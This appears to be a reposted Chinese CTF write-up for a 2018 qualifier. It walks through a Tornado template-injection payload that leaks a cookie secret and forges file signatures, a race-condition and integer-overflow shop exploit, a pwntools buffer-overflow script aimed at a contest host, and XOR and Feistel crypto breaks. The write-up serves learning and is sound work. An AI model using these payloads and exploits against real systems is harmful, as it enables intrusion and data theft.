护网杯预选赛 WP
转载自:https://qingchenldl.github.io/2018/10/13/%E6%8A%A4%E7%BD%91%E6%9D%AFWP-BitPwn/#more

WEB easy tornado


打开链接是几个文件的列表,分别打开,关注url和内容

http://49.4.79.198:31809/file?filename=Orz.txt&signature=0434ba1fadd43ce31661c315fbb8a9c6

Orz.txt render()

http://49.4.79.198:31809/file?filename=hint.txt&signature=78423a4ae34f2a6e9088a35ef650af22

hint.txt md5(cookie_secret + md5(filename))

http://49.4.79.198:31809/file?filename=flag.txt&signature=dbc862f7ca4cd3dd4ba82c6e7ff6d6af

flag.txt /fllllllllllag

容易看出来,读文件的url就是,filename=(想读的文件名)加上一个签名,而签名是md5(cookie_secret + md5(filename))

问题就在于cookie_secret是什么。又看到Orz.txt里面有提示 render(),这个是生成模板的函数,于是想到模板注入STTI。

在读取文件失败的这个链接中,发现STTI漏洞:

http://49.4.79.198:31809/error?msg=xxxx


但是发现有过滤,测试一下发现,过滤的特殊字符有:

"%'()*-/=[\]_|

结合Tornado框架,想到的是:

在Tornado的前端页面模板中,Tornado提供了一些对象别名来快速访问对象,具体定义可以参考Tornado官方文档
这里我想将的是Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象!

于是payload为:

http://49.4.79.198:31809/error?msg={{handler.settings}}


得到cookie_secret,利用这个cookie_secret,可以写脚本,来获得相应文件的签名值。

import hashlibcookie_secret=r'WhzKS{Z.*~k)L@XEt3UT%GB04(NAV[l1ojuD!-?]2Hg<rx}QmnCOpJ9+c8>&qI6s'def md5(code): temp = hashlib.md5(str(code)).hexdigest() return tempfilename = '/fllllllllllag'res = md5(cookie_secret + md5(filename))print res# 89e9876bc11ab55dcf9e68d3a8877ae6

ltshop

注册账号,进入系统,发现我们有¥20

看一下要求

¥5一包辣条
5包辣条换一包辣条王
9999999包辣条王换flag

看到第三个要求,很容易想到不是常规解法,可能会用到溢出。

但是问题在于就算是溢出,我们也应该至少能换一个辣条之王才行,但是我们只有20元,只能买4包辣条,一个辣条之王也换不了。
这里算是纠结了一下,最后想到利用条件竞争,试验发现一个账户的两个登陆同时买辣条,只会扣一次钱,却会得到两个辣条。利用burpsuite进行条件竞争:
这里多设置几个线程

看到已经购买到很多的辣条

再看此时的账户,已经有足够的辣条了。

下面考虑溢出:

**

int: 2**32-1 = 4294967295
long: 2**63 -1 = 9223372036854775807
longlong: 2**64-1 = 18446744073709551615

**

但是要注意一点,这个题的逻辑是,numer*5<最大值

所以,其临界值应该为:18446744073709551615 / 5 == 3689348814741910323

于是尝试:3689348814741910323+1 == 3689348814741910324

溢出后的值比较小,在辣条的数量之内,从而兑换成功。

注意另一点,溢出的时候不能太大,因为太大导致溢出后的值过大而超过辣条的数量,出现这种情况

此时的账户:

再兑换flag,即可:

PWN

gettingstart

用 IDA 打开程序:

发现可以溢出 buf 从而修改掉 v7 和 v8 的值来通过验证,所以构造利用脚本:

from pwn import *#p = process("./get")p = remote("49.4.78.31",30482)#gdb.attach(p)p.recv()payload = 'a' * 24 + p64(0x7FFFFFFFFFFFFFFF) + p64(0x3FB999999999999A)p.sendline(payload)p.interactive()

得到 flag :flag{e47ba37e5e4fe4d6538f91955c63ef23}

Misc

迟来的签到题

easy xor???

提示xor,base64解码后异或

写个脚本爆破下
import base64

str=base64.b64decode('AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs=')for n in range(30,126): flag='' for i in str: flag+= chr(ord(i)^n) if 'flag' in flag: print flag

Crypto

fez

fez.py

import osdef xor(a,b): assert len(a)==len(b) c="" for i in range(len(a)): c+=chr(ord(a[i])^ord(b[i])) return cdef f(x,k): return xor(xor(x,k),7)def round(M,K): L=M[0:27] R=M[27:54] new_l=R new_r=xor(xor(R,L),K) return new_l+new_rdef fez(m,K): for i in K: m=round(m,i) return mK=[]for i in range(7): K.append(os.urandom(27))m=open("flag","rb").read()assert len(m)<54m+=os.urandom(54-len(m))test=os.urandom(54)print test.encode("hex")print fez(test,K).encode("hex")print fez(m,K).encode("hex")

fez.log

048d26224aae9f6be49f13202c0b173c2346909fcbba868d5d9b7431002957c5c01c546530f84e45b8a3892526401c007bca7d39b0b7
69d41820c61c7e8fb47fde8f09064f24af72dc6251e97e72bdc2d7c0b4696110ef84f30da6ac88b7059500f8e814cec9e9e13bcafad8
32e7094533a1e76ac8acdeb882c0d6965ca954d75dfd00e759b5aff9663f41d49ae70ee18fd3c067ad7ae577433ad2512b764f4b2eb2

Feistel加密方法,轮函数也是异或

这里给出了print出的值,所以知道

**

test的值 记为testtest加密的值 记为 testansflag加密的值 记为ans

**

test和用flag填充的m的长度都为54

加密使用的K值是不知道的,所以写不出解密函数,但可以通过给出的testans与ans异或使K消掉

记最后一轮flag加密后的为L7和R7,test加密的为tL7和tR7,初始test为tL0和tR0

则ai=tLi^Li=tRi+1^Ri+1^tLi+1^Li+1

而且Ri=Li+1

所以ai=ai+1^tLi+1^Li+1

最终得到L0和R0

exp

import os def xor(a,b):

assert len(a)==len(b)c=""for i in range(len(a)): c+=chr(ord(a[i])^ord(b[i]))return c

test='048d26224aae9f6be49f13202c0b173c2346909fcbba868d5d9b7431002957c5c01c546530f84e45b8a3892526401c007bca7d39b0b7'.decode('hex')
testans='69d41820c61c7e8fb47fde8f09064f24af72dc6251e97e72bdc2d7c0b4696110ef84f30da6ac88b7059500f8e814cec9e9e13bcafad8'.decode('hex')
ans='32e7094533a1e76ac8acdeb882c0d6965ca954d75dfd00e759b5aff9663f41d49ae70ee18fd3c067ad7ae577433ad2512b764f4b2eb2'.decode('hex')

tL7=testans[0:27] tR7=testans[27:54] L7=ans[0:27] R7=ans[27:54]

tL0=test[27:54] tR0=test[0:27]

a6=tR7^R7^tL7^L7^tR1

tL6^L6 a6=xor(xor(tR7,R7),xor(tL7,L7))

a5=xor(xor(tL7,L7),a6)

a4=xor(a6,a5)

a3=xor(a5,a4)

a2=xor(a4,a3)

a1=xor(a3,a2)

a0=xor(a2,a1)

L0=xor(tL0,a1)

R0=xor(tR0,a0)

print R0+L0

运行结果:

**λ python fez_exp.py
flag{festel_weak_666_lol88fj3820}叡↓泺y蝵:;铸醛o磋萸?**

 

护网杯圆满结束,还不满足?不如来看看大佬的WP扩展思路~的更多相关文章

  1. NGK英国路演圆满结束,未来科技布局看好NGK公链技术

    近日,NGK全球路演英国站在首都伦敦圆满结束.区块链业内专家.各投行精英.各市场节点代表.八大产业代表参加了此次路演.同时,英国经济学人.每日邮报.金融时报等近百家财经媒体对此路演进行了大力报道.并且 ...

  2. 2016年象行中国(上海站)圆满结束,会议PPT分享

    2016年象行中国(上海站)已于5-21日圆满结束,所有技术交流的文档和PPT经整理后,现集中存放在云盘中,相关议题如下:     DeepGreen-LLVM-Intro.pptx ... 1.1M ...

  3. 深圳测试研讨会圆满结束,PPT共享

    深圳测试研讨会圆满结束,PPT共享http://www.automationqa.com/forum.php?mod=viewthread&tid=3417&fromuid=29

  4. 深圳安全研讨会圆满结束,PPT共享下载

    深圳安全研讨会圆满结束,PPT共享下载: http://pan.baidu.com/s/19XFtO

  5. 2019护网杯baby_forensic

    题目名称:baby_forensic题目描述:can you catch the flag?附件:“data.7z” 2019护网杯初赛的一道取证题,比赛时没做出来,赛后又研究了一下. 获取profi ...

  6. buu[护网杯 2018]easy_tornado

    [护网杯 2018]easy_tornado 1.看看题目给了我们三个文件: /flag.txt url=?filename=/flag.txt&filehash=98c6aac4fbecf1 ...

  7. [原题复现]2018护网杯(WEB)easy_tornado(模板注入)

    简介 原题复现:  考察知识点:模板注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 [护网杯 2018]eas ...

  8. 灵雀云新一期DevOps认证培训圆满结束,下期学员招募同步开启

    近日,灵雀云最新一期EXIN DevOps认证培训在北京圆满结束,来自某知名运营商领域ISV的近40名学员以百分百的通过率为此次培训画上圆满的句号. 灵雀云是国内首家在DevOps培训领域与EXIN合 ...

  9. 护网杯一道crypto

    import os def xor(a,b): assert len(a)==len(b) c="" for i in range(len(a)): c+=chr(ord(a[i] ...

随机推荐

  1. JSP中内置对象pageContent的使用

    public class TestPageContext { public void getSomething(PageContext page){ ServletRequest request = ...

  2. python's output redirect

    [python's output redirect] fin = open("xx.txt", 'r'); print >>fin, "hello world ...

  3. open File Browser in shell

    [maxosx] open /usr/include [ubuntu] 发现三个,如下: xdg-open xxxx.pdf gnome-open . nautilus . 喜欢把它alias一下 . ...

  4. mybatis总结回顾

    1.mybatis的介绍 轻量级数据持久层框架,替代hibernate 2.mybatis的入门 导包-->配置文件(类名.xml.SqlMapConfig.xml) 类名.xml:放映射.sq ...

  5. js中with 用法

    with 语句用于设置代码在特定对象中的作用域. 它的语法: with (expression) statement例如: var sMessage = "hello"; with ...

  6. Java 设计模式系列(二三)访问者模式(Vistor)

    Java 设计模式系列(二三)访问者模式(Vistor) 访问者模式是对象的行为模式.访问者模式的目的是封装一些施加于某种数据结构元素之上的操作.一旦这些操作需要修改的话,接受这个操作的数据结构则可以 ...

  7. UI7Kit

    [UI7Kit] UI7Kit is a GUI toolkit which can backport flat-style UIKit from iOS7 to iOS5/iOS6. Additio ...

  8. Linux驱动框架之misc类设备驱动框架

    1.何为misc设备 (1)misc中文名就是杂项设备\杂散设备,因为现在的硬件设备多种多样,有好些设备不好对他们进行一个单独的分类,所以就将这些设备全部归属于 杂散设备,也就是misc设备,例如像a ...

  9. bean 的各个属性

    http://www.springframework.org/schema/beans/spring-beans.xsd org.springframework.beans.factory.confi ...

  10. Java® Language Specification

    Java™ Platform, Standard Edition 8 API Specification http://docs.oracle.com/javase/8/docs/api/ The J ...